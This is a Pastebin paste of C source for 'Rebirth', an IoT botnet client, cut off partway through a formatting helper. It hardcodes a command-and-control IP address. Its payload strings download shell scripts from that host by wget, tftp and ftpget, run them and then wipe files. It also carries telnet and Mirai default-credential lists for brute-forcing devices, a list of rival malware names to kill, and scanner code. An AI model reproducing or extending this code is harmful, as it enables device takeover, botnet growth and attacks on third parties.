Advertisement
ZucoCheezy

RebirthV5-Client

Nov 26th, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 75.75 KB | None | 0 0
  1. /*
  2. volatile is your babby daddy no questions asked
  3. b1nary good job on putting tags on HTTP flood dumb dumb
  4. fixed version for kofuku lolol
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.                              ,..oooooooooob..                        
  16.                        ,.dodOOOO"""""":"ooPO88bo..                    
  17.                      .o8O""" '            "'"""PO8b.                  
  18.                  .dd8P'"                       ''::Y8o.              
  19.                ,d8Po'                             "':7Ob;            
  20.               d8P::'                                 ';:8b.          
  21.             ;d8''"                                     ';Y8;          
  22.           ,d8O:'                                        ';:8b.        
  23.          ,88o:'                                           ';Yb.      
  24.         ,8P::'                                           . ';Yb      
  25.        ,8o;:'                                          ,;'  ':8b      
  26.       ,8:::'                                           ;:    :;8b    
  27.      d8o;::                                            o:     ::8,    
  28.     ,8':::                                            :::     :;Y8    
  29.     8'oo:'                                            :::     :::8:  
  30.    dP;:YO                                             ':::;.;;:::Y8.  
  31.   ,8:::;Yb                                            :b::::::::::8b  
  32.   dO;::::8b                                           'Yb::::::::::8.
  33.  ,8;:::::O8,                                           'Y88::::::::8:
  34.  8P;::::::88                                             `8O::::::::O
  35.  d::::::::88:                                             O8;:::::::8
  36.  8:::::::888:                                             88b:::::::O:
  37. ,8::::::::88:                                            :888Oooo::;Y:
  38. dO:::::::bO8:             ..:.::::::::::...:             :888888P;::db
  39. OP:::::::O88:         ..o8888:::::::::::::)8888bo..       O8888O:::::8
  40. O;::::::::88'    ..od888888888::::"""":::88888888888oo;   `8888;:::::8
  41. O:::ob:::;8:  ,d88888888888888::       ':88888888888888b;  '"88;:::::8
  42. OO::;Yo::OP' d888888888888888O:'      ,.;8888888888888888b  ,88::::::8
  43. YO:::;Y::Ob ,8888888888888888;::       :;88888888888888888  :88::::::8
  44.  8;::::b;8' :8888888888888888o::        ':8888888888888888  :888d::)88
  45.  Y:::::88P   888888888888888888'         'O888888888888888  :88888888P
  46.  `b:::;8O    d888888888888888P'          ,8888888888888888  '88888888:
  47.   Y::::8:   ,88888888888888P:      ..    '8888888888888888   Y8888888:
  48.   8O::;8'   :88888888888888:      d88,   ':Y88888888888888   '8888888:
  49.   'YbooO    :8888888888P:8P:     :8888:    '':Y8888888888P    "Y888YP
  50.    '888:     8888888P:;'8O:'     :8P88b       '"O888888P"       ;:;o'
  51.     `88:     "oOOo:.::)O:;:      :8:888.        :8b'            :::'  
  52.      88:      '"""" ,do;:'      ,88bO88b     ,.o::PO:;.;.      :::'  
  53.      88';           :' `Yb      d88O`888b    O8"::::o::::::::::o:;    
  54.      8O::b         ;:   ''     d88Po O888    :8;:""" '";88::::o:::    
  55.      YO:;Yb    :o.;::          O8P.: O888     'Y::    :YO8b:::::O'    
  56.       Y:::8b  o;O:::;.         OO;:: OO;'       ''"  .;bO88"d:od'    
  57.       `b::;8: :8bo::::;.       OO::: OK:          ,;:8888P',8OP"      
  58.        Yb:;OO  O888b::::;.     'O:O",;"'          ;o8888P  :O"        
  59.        '`Y888. :88888::::::     ':' db           ;o8888P   8P        
  60.           '`8;  O8888::::::        '8'          :o8888P   :8'        
  61.             OO: :8888::::::         Y:         ,::;888'   :8          
  62.             `8,  o888"::::'          '         ;:::88:    OP          
  63.             ,8:   O888O8POYOOO"OPOOPYO8OO8OO888888888'    O:          
  64.             88:   '888o::o':Y: d  O  'Y:'8: O"Y:`K:8o;    8'          
  65.            88O;    ;88o;:::: : :  :   '  `:   '  ,:8 :   :8          
  66.            O8O:.  ,:OP"8bd;':: d...      ,.  .db.'"8 ::  :O  ~Rebirth~    
  67.           ,88O::. ;:O: O"'"YP"YPYP'YO"""`8K`O"O `b:O.:;  :O          
  68.           888o:::.:;Ob : :::: :::: :P ,  OO : :  O;:::: ;:O          
  69.           888O::::::::`dbd::b.d::: :: db ::,d.8o;O;::::::dP          
  70.            888::::::::;:"""""Y8888od8d88o8P""'"  ':::::'d'            
  71.            "Y88Odo:"::::         `""""'           ':::)P'            
  72.              ""88888O:::                          ;::dP              
  73.                 '""88O:::                   oo;  ;O88'                
  74.                    `Y8O::.  ,.      .      '8b::O88'                  
  75.                      Y8b::. ,)O   ,;'        ::O88'                  
  76.                       '88d:..:   ,d:        ;'d88'                    
  77.                        'Y88d::;.;:8b,   ,..:O88P'                    
  78.                          ""88oodO888O::::bd88P'                      
  79.                            '`8888888888888P"'                        
  80.                                  """"""""'
  81.  
  82. */
  83. /*
  84. Rebirth Is an ongoing project, that will have many builds, and updates.
  85. This Client is being constantly worked on.
  86. Anyone that bought Rebirth Legitly will have access to the builds, and updates.
  87. For anyone that leeches, or leaks, well fuck you.
  88. */
  89. /*
  90. *** THIS BUILD WAS RELEASED ON 11-8-16
  91.  
  92.  
  93. *** Rebirth Client ***
  94.    *** Build 3 ***
  95.  
  96. Made By ~B1NARY~
  97. Made Date: 11-7-16
  98.  
  99. Xmpp: b1nary@nigge.rs
  100. Twitter: @P2PBOTNET
  101. Instragram: @Rebirth.c
  102. Skype: b1narythag0d
  103.  
  104. */
  105. /*
  106. Things Coming to Build 4.
  107. Build 4 Release Date: 11-18-16
  108.  
  109. [+] Working SSH Scanner.
  110. [+] More Ranges, in The Python Scanner.
  111. [+] Bot Killer.
  112. [+] And More.
  113. */
  114. #include <stdlib.h>
  115. #include <stdarg.h>
  116. #include <stdio.h>
  117. #include <sys/socket.h>
  118. #include <sys/types.h>
  119. #include <netinet/in.h>  
  120. #include <arpa/inet.h>
  121. #include <netdb.h>
  122. #include <signal.h>                                                      
  123. #include <strings.h>                                                      
  124. #include <sys/utsname.h>
  125. #include <unistd.h>
  126. #include <fcntl.h>
  127. #include <errno.h>
  128. #include <netinet/ip.h>
  129. #include <netinet/udp.h>
  130. #include <netinet/tcp.h>
  131. #include <sys/wait.h>
  132. #include <sys/ioctl.h>
  133. #include <net/if.h>
  134. #include <time.h>
  135. #include <dirent.h>
  136. #include <limits.h>
  137. #include <sys/stat.h>
  138. #include <sys/time.h>
  139. #include <string.h>
  140. #include <stdint.h>
  141. #include <stdio.h>
  142. #include <sys/param.h>
  143. #include <sys/time.h>
  144. //#include <libbb.h>
  145. // kofuku your a skid
  146. #define PR_SET_NAME 15
  147. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  148. #define PAD_RIGHT 1
  149. #define PAD_ZERO 2
  150. #define PRINT_BUF_LEN 12
  151. #define CMD_IAC   255
  152. #define CMD_WILL  251
  153. #define CMD_WONT  252
  154. #define CMD_DO    253
  155. #define CMD_DONT  254
  156. #define OPT_SGA   3
  157. #define SOCKBUF_SIZE 1024
  158.  
  159.  
  160.  
  161. char *getBuild() {
  162.     #if defined(__x86_64__) || defined(_M_X64)
  163.     return "x86_64";
  164.     #elif defined(__i386) || defined(_M_IX86)
  165.     return "x86_32";
  166.     #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  167.     return "ARM-4";
  168.     #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  169.     return "ARM-5"
  170.     #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  171.     return "ARM-6";
  172.     #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  173.     return "MIPS";
  174.     #elif defined(__sh__)
  175.     return "SUPERH";
  176.     #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  177.     return "POWERPC";
  178.     #else
  179.     return "UNKNOWN";
  180.     #endif
  181. }
  182. const char *useragents[] = {
  183.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  184.     "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  185.     "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  186.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  187.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  188.     "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  189.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  190.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  191.     "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  192.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  193.     "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  194.     "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  195.     "wii libnup/1.0",
  196.     "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  197.     "PSP (PlayStation Portable); 2.00",
  198.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  199.     "Doris/1.15 [en] (Symbian)",
  200.     "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  201.     "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  202.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  203.     "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  204.     "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  205.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  206.     "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  207.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  208.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  209.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  210.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  211.     "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  212.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  213.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  214.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  215.     "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  216.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  217.     "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  218.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  219. };
  220. struct telstate_t {
  221.         int fd;
  222.         unsigned int ip;
  223.         unsigned char state;
  224.         unsigned char complete;
  225.         unsigned char usernameInd;  /* username     */
  226.         unsigned char passwordInd;  /* password     */
  227.         unsigned char tempDirInd;   /* tempdir      */
  228.         unsigned int tTimeout;      /* totalTimeout */
  229.         unsigned short bufUsed;
  230.         char *sockbuf;
  231. };
  232. int initConnection();
  233. void makeRandomStr(unsigned char *buf, int length);
  234. int sockprintf(int sock, char *formatStr, ...);
  235. char *inet_ntoa(struct in_addr in);
  236. int mainCommSock = 0, currentServer = -1;
  237. uint32_t *pids;
  238. uint32_t scanPid;
  239. uint64_t numpids = 0;
  240. struct in_addr ourIP;
  241. unsigned char macAddress[6] = {0};
  242.  
  243.  
  244. unsigned char *commServer[] = { "185.82.203.23:5" };
  245. char *Busybox_Payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.82.203.23/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.82.203.23 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.82.203.23; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.82.203.23 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;exit";
  246. char *Payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.82.203.23/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.82.203.23 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.82.203.23; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.82.203.23 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;exit";
  247.  
  248.  
  249. char *Telnet_Usernames[] = {
  250.     "telnet\0", //telnet:telnet
  251.     "root\0", //root:root
  252.     "admin\0", //admin:toor
  253.     "user\0", //user:admin
  254.     "login\0", //login:user
  255.     "guest\0", //guest:guest
  256.     "support\0" //support:login
  257.     "root\0", //root:netgear1
  258.     "root\0", //root:maxided
  259.     "CISCO\0", //CISCO:CISCO
  260.     "oracle\0", //oracle:oracle
  261.     "tim\0", //tim:tim
  262.     };
  263. char *Telnet_Passwords[] = {
  264.     "telnet\0", //telnet:telnet
  265.     "root\0", //root:root
  266.     "toor\0", //admin:toor
  267.     "admin\0", //user:admin
  268.     "user\0", //login:user
  269.     "guest\0", //guest:guest
  270.     "login\0", //support:login
  271.     "changeme\0", //(none):changeme
  272.     "1234\0", //(none):1234
  273.     "12345\0", //(none):12345
  274.     "123456\0", //(none):123456
  275.     "default\0", //(none):default
  276.     "pass\0", //(none):pass
  277.     "password\0", //(none):password
  278.     "support\0", //(none):support
  279.     "\0" //(none):(none)
  280.     "maxided\0" //root:maxided
  281.     "oracle\0", //oracle:oracle
  282.     "tim\0", //tim:tim
  283.     };
  284. /*
  285. char *Mirai_Usernames[] = {"root\0", "admin\0", "support\0", "user\0", "guest\0", "admin1\0", "administrator\0", "Administrator\0", "666666\0", "888888\0", "ubnt\0", "tech\0", "mother\0", "service\0", "supervisor\0"};
  286. char *Mirai_Passwords[] = {"xc3511\0", "vizxv\0", "admin\0", "888888\0", "xmhdipc\0", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "\0", "root\0", "12345\0", "user\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1234\0", "666666\0", "password\0", "klv123\0", "service\0", "supervisor\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "realtek\0", "00000000\0", "1111111\0", "meinsm\0", "fucker\0"};
  287. */
  288. /*
  289. char *Mirai_Usernames[] = {"root\0", "root\0", "root\0", "admin\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "support\0", "root\0", "admin\0", "root\0", "root\0", "user\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "root\0", "root\0", "root\0", "Administrator\0", "service\0", "supervisor\0", "guest\0", "guest\0", "admin1\0", "administrator\0", "666666\0", "888888\0", "ubnt\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "admin\0"};
  290. char *Mirai_Passwords[] = {"xc3511\0", "vizxv\0", "admin\0", "admin\0", "888888\0", "xmhdipc", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "\0", "password\0", "root\0", "12345\0", "user\0", "\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1111\0", "666666\0", "password\0", "1234\0", "klv123", "admin\0", "service\0", "supervisor\0", "guest\0", "12345\0", "password\0", "1234\0", "666666\0", "888888\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "user\0", "realtek\0", "00000000\0", ""};
  291. */
  292. char *Mirai_Usernames[] = {
  293. "root\0", //root:xc3511
  294. "root\0", //root:vizxv
  295. "root\0", //root:admin
  296. "admin\0", //admin:admin
  297.  
  298. "root\0", //root:888888
  299. "root\0", //root:xmhdipc
  300. "root\0", //root:default
  301. "root\0", //root:juantech
  302.  
  303. "root\0", //root:123456
  304. "root\0", //root:54321
  305. "support\0", //support:support
  306. "root\0", //root:(none)
  307.  
  308. "admin\0", //admin:password
  309. "root\0", //root:root
  310. "root\0", //root:12345
  311. "user\0", //user:user
  312.  
  313. "admin\0", //admin:(none)
  314. "root\0", //root:pass
  315. "admin\0", //admin:admin1234
  316. "root\0", //root:1111
  317.  
  318. "admin\0", //admin:smcadmin
  319. "admin\0", //admin:1111
  320. "root\0", //root:666666
  321. "root\0", //root:password
  322.  
  323. "root\0", //root:1234
  324. "root\0", //root:klv123
  325. "Administrator\0", //Administrator:admin
  326. "service\0", //service:service
  327.  
  328. "supervisor\0", //supervisor:supervisor
  329. "guest\0", //guest:guest
  330. "guest\0", //guest:12345
  331. "guest\0", //guest:12345
  332.  
  333. "admin1\0", //admin1:password
  334. "administrator\0", //administrator:1234
  335. "666666\0", //666666:666666
  336. "888888\0", //888888:888888
  337. "ubnt\0", //ubnt:ubnt
  338.  
  339. "klv1234\0", //root:klv1234
  340. "Zte521\0", //root:Zte521
  341. "hi3518\0", //root:hi3518
  342. "jvbzd\0", //root:jvbzd
  343.  
  344. "anko\0", //root:anko
  345. "zlxx\0", //root:zlxx
  346. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  347. "7ujMko0admin\0", //root:7ujMko0admin
  348.  
  349. "system\0", //root:system
  350. "ikwb\0", //root:ikwb
  351. "dreambox\0", //root:dreambox
  352. "user\0", //root:user
  353.  
  354. "realtek\0", //root:realtek
  355. "00000000\0", //root:00000000
  356. "1111111\0", //admin:1111111
  357. "1234\0", //admin:1234
  358.  
  359. "12345\0", //admin:12345
  360. "54321\0", //admin:54321
  361. "123456\0", //admin:123456
  362. "7ujMko0admin\0", //admin:7ujMko0admin
  363.  
  364. "1234\0", //admin:1234
  365. "pass\0", //admin:pass
  366. "meinsm\0", //admin:meinsm
  367. "tech\0", //tech:tech
  368.  
  369. "fucker\0", //mother:fucker
  370. };
  371. char *Mirai_Passwords[] = {
  372. "xc3511\0", //root:xc3511
  373. "vizxv\0", //root:vizxv
  374. "admin\0", //root:admin
  375. "admin\0", //admin:admin
  376.  
  377. "888888\0", //root:888888
  378. "xmhdipc\0", //root:xmhdipc
  379. "default\0", //root:default
  380. "juantech\0", //root:juantech
  381.  
  382. "123456\0", //root:123456
  383. "54321\0", //root:54321
  384. "support\0", //support:support
  385. "\0", //root:(none)
  386.  
  387. "password\0", //admin:password
  388. "root\0", //root:root
  389. "12345\0", //root:12345
  390. "user\0", //user:user
  391.  
  392. "\0", //admin:(none)
  393. "pass\0", //root:pass
  394. "admin1234\0", //admin:admin1234
  395. "1111\0", //root:1111
  396.  
  397. "smcadmin\0", //admin:smcadmin
  398. "1111\0", //admin:1111
  399. "666666\0", //root:666666
  400. "password\0", //root:password
  401.  
  402. "1234\0", //root:1234
  403. "klv123\0", //root:klv123
  404. "admin\0", //Administrator:admin
  405. "service\0", //service:service
  406.  
  407. "supervisor\0", //supervisor:supervisor
  408. "guest\0", //guest:guest
  409. "12345\0", //guest:12345
  410. "12345\0", //guest:12345
  411.  
  412. "password\0", //admin1:password
  413. "1234\0", //administrator:1234
  414. "666666\0", //666666:666666
  415. "888888\0", //888888:888888
  416. "ubnt\0", //ubnt:ubnt
  417.  
  418. "klv1234\0", //root:klv1234
  419. "Zte521\0", //root:Zte521
  420. "hi3518\0", //root:hi3518
  421. "jvbzd\0", //root:jvbzd
  422.  
  423. "anko\0", //root:anko
  424. "zlxx\0", //root:zlxx
  425. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  426. "7ujMko0admin\0", //root:7ujMko0admin
  427.  
  428. "system\0", //root:system
  429. "ikwb\0", //root:ikwb
  430. "dreambox\0", //root:dreambox
  431. "user\0", //root:user
  432.  
  433. "realtek\0", //root:realtek
  434. "00000000\0", //root:00000000
  435. "1111111\0", //admin:1111111
  436. "1234\0", //admin:1234
  437.  
  438. "12345\0", //admin:12345
  439. "54321\0", //admin:54321
  440. "123456\0", //admin:123456
  441. "7ujMko0admin\0", //admin:7ujMko0admin
  442.  
  443. "1234\0", //admin:1234
  444. "pass\0", //admin:pass
  445. "meinsm\0", //admin:meinsm
  446. "tech\0", //tech:tech
  447.  
  448. "fucker\0", //mother:fucker
  449. };
  450. char *SSH_Usernames[] = {"root\0"};
  451. char *SSH_Passwords[] = {""};
  452.  
  453. char *Bot_Killer_Binarys[] = {
  454.     "mips",
  455.     "mipsel",
  456.     "sh4",
  457.     "x86",
  458.     "i686",
  459.     "ppc",
  460.     "i586",
  461.     "i586",
  462.     "jackmymips",
  463.     "jackmymips64",
  464.     "jackmymipsel",
  465.     "jackmysh2eb",
  466.     "jackmysh2elf",
  467.     "jackmysh4",
  468.     "jackmyx86",
  469.     "jackmyarmv5",
  470.     "jackmyarmv4tl",
  471.     "jackmyarmv4",
  472.     "jackmyarmv6",
  473.     "jackmyi686",
  474.     "jackmypowerpc",
  475.     "jackmypowerpc440fp",
  476.     "jackmyi586",
  477.     "jackmym68k",
  478.     "jackmysparc",
  479.     "hackmymips",
  480.     "hackmymipsel",
  481.     "hackmysh4",
  482.     "hackmyx86",
  483.     "hackmyarmv6",
  484.     "hackmyi686",
  485.     "hackmypowerpc",
  486.     "hackmyi586",
  487.     "hackmym68k",
  488.     "hackmysparc",
  489.     "arm"
  490.     "armv5l"
  491.     "armv6l"
  492.     "b1",
  493.     "b2",
  494.     "b3",
  495.     "b4",
  496.     "b5",
  497.     "b6",
  498.     "b7",
  499.     "b8",
  500.     "b9",
  501.     "busyboxterrorist",
  502.     "DFhxdhdf",
  503.     "dvrHelper",
  504.     "FDFDHFC",
  505.     "FEUB",
  506.     "FTUdftui",
  507.     "GHfjfgvj",
  508.     "jackmyarmv5l",
  509.     "jackmyarmv6l",
  510.     "jackmyarv6",
  511.     "jackmymips",
  512.     "jackmymipsel",
  513.     "jackmyx86",
  514.     "jhUOH",
  515.     "JIPJIPJj",
  516.     "JIPJuipjh",
  517.     "kmyx86_64",
  518.     "lolmipsel",
  519.     "mips",
  520.     "mipsel",
  521.     "RYrydry",
  522.     "telarmv6l",
  523.     "telmips",
  524.     "telmipsel",
  525.     "telx86",
  526.     "TwoFacearmv61",
  527.     "TwoFacei586",
  528.     "TwoFacei686",
  529.     "TwoFacem86k",
  530.     "TwoFacemips",
  531.     "TwoFacemipsel",
  532.     "TwoFacepowerpc",
  533.     "TwoFacesh4",
  534.     "TwoFacesparc",
  535.     "TwoFacex86_64",
  536.     "UYyuyioy",
  537.     "wget",
  538.     "x86_64",
  539.     "XDzdfxzf",
  540.     "xxb1",
  541.     "xxb2",
  542.     "xxb3",
  543.     "xxb4",
  544.     "xxb5",
  545.     "xxb6",
  546.     "xxb7",
  547.     "xxb8",
  548.     "xxb9",
  549.     "sh",
  550.     "1",
  551.     "2",
  552.     "3",
  553.     "4",
  554.     "5",
  555.     "6",
  556.     "7",
  557.     "8",
  558.     "9",
  559.     "10",
  560.     "11",
  561.     "12",
  562.     "13",
  563.     "14",
  564.     "15",
  565.     "16",
  566.     "17",
  567.     "18",
  568.     "19",
  569.     "20"
  570.     };
  571.  
  572.  
  573. char* advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", (char*)0};                                                                                  
  574. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                       
  575. char* successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};                                                                                                    
  576. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  577.                    
  578. #define PHI 0x9e3779b9
  579. static uint32_t Q[4096], c = 362436;
  580. void init_rand(uint32_t x) {
  581.         int i;
  582.         Q[0] = x;
  583.         Q[1] = x + PHI;
  584.         Q[2] = x + PHI + PHI;
  585.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  586. }
  587. uint32_t rand_cmwc(void) {
  588.         uint64_t t, a = 18782LL;
  589.         static uint32_t i = 4095;
  590.         uint32_t x, r = 0xfffffffe;
  591.         i = (i + 1) & 4095;
  592.         t = a * Q[i] + c;
  593.         c = (uint32_t)(t >> 32);
  594.         x = t + c;
  595.         if (x < c) {
  596.                 x++;
  597.                 c++;
  598.         }
  599.         return (Q[i] = r - x);
  600. }
  601. int contains_string(char* buffer, char** strings) {
  602.         int num_strings = 0, i = 0;
  603.         for(num_strings = 0; strings[++num_strings] != 0; );
  604.         for(i = 0; i < num_strings; i++) {
  605.                 if(strcasestr(buffer, strings[i])) {
  606.                         return 1;
  607.                 }
  608.         }
  609.         return 0;
  610. }
  611. int contains_success(char* buffer) {
  612.         return contains_string(buffer, successes);
  613. }
  614. int contains_fail(char* buffer) {
  615.         return contains_string(buffer, fails);
  616. }
  617. int contains_response(char* buffer) {
  618.         return contains_success(buffer) || contains_fail(buffer);
  619. }
  620. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  621.         fd_set read_set;
  622.         struct timeval tv;
  623.         tv.tv_sec = 0;
  624.         tv.tv_usec = timeout_usec;
  625.         FD_ZERO(&read_set);
  626.         FD_SET(fd, &read_set);
  627.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  628.         return 0;
  629.         return recv(fd, buffer, buf_size, 0);
  630. }
  631. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  632.         int num_bytes, i;
  633.         memset(buffer, 0, buf_size);
  634.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  635.         if(buffer[0] == 0xFF) {
  636.                 negotiate(fd, buffer, 3);
  637.         }
  638.  
  639.         if(contains_string(buffer, strings)) {
  640.                 return 1;
  641.         }
  642.  
  643.         return 0;
  644. }
  645. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  646.         struct in_addr in_addr_ip;
  647.         in_addr_ip.s_addr = telstate->ip;
  648.         return inet_ntoa(in_addr_ip);
  649. }
  650. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  651.         if(new_state == 0) {
  652.                 close(telstate->fd);
  653.         }
  654.         telstate->tTimeout = 0;
  655.         telstate->state = new_state;
  656.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  657. }
  658. void reset_telstate(struct telstate_t* telstate) { // reset
  659.         advance_telstate(telstate, 0);
  660.         telstate->complete = 1;
  661. }
  662. void trim(char *str) {
  663.         int i;
  664.         int begin = 0;
  665.         int end = strlen(str) - 1;
  666.  
  667.         while (isspace(str[begin])) begin++;
  668.  
  669.         while ((end >= begin) && isspace(str[end])) end--;
  670.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  671.  
  672.         str[i - begin] = '\0';
  673. }
  674. static void printchar(unsigned char **str, int c) {
  675.         if (str) {
  676.                 **str = c;
  677.                 ++(*str);
  678.         }
  679.         else (void)write(1, &c, 1);
  680. }
  681. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  682.         register int pc = 0, padchar = ' ';
  683.         if (width > 0) {
  684.                 register int len = 0;
  685.                 register const unsigned char *ptr;
  686.                 for (ptr = string; *ptr; ++ptr) ++len;
  687.                 if (len >= width) width = 0;
  688.                 else width -= len;
  689.                 if (pad & PAD_ZERO) padchar = '0';
  690.         }
  691.         if (!(pad & PAD_RIGHT)) {
  692.                 for ( ; width > 0; --width) {
  693.                         printchar (out, padchar);
  694.                         ++pc;
  695.                 }
  696.         }
  697.         for ( ; *string ; ++string) {
  698.                 printchar (out, *string);
  699.                 ++pc;
  700.         }
  701.         for ( ; width > 0; --width) {
  702.                 printchar (out, padchar);
  703.                 ++pc;
  704.         }
  705.         return pc;
  706. }
  707. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  708.         unsigned char print_buf[PRINT_BUF_LEN];
  709.         register unsigned char *s;
  710.         register int t, neg = 0, pc = 0;
  711.         register unsigned int u = i;
  712.         if (i == 0) {
  713.                 print_buf[0] = '0';
  714.                 print_buf[1] = '\0';
  715.                 return prints (out, print_buf, width, pad);
  716.         }
  717.         if (sg && b == 10 && i < 0) {
  718.                 neg = 1;
  719.                 u = -i;
  720.         }
  721.  
  722.         s = print_buf + PRINT_BUF_LEN-1;
  723.         *s = '\0';
  724.         while (u) {
  725.                 t = u % b;
  726.                 if( t >= 10 )
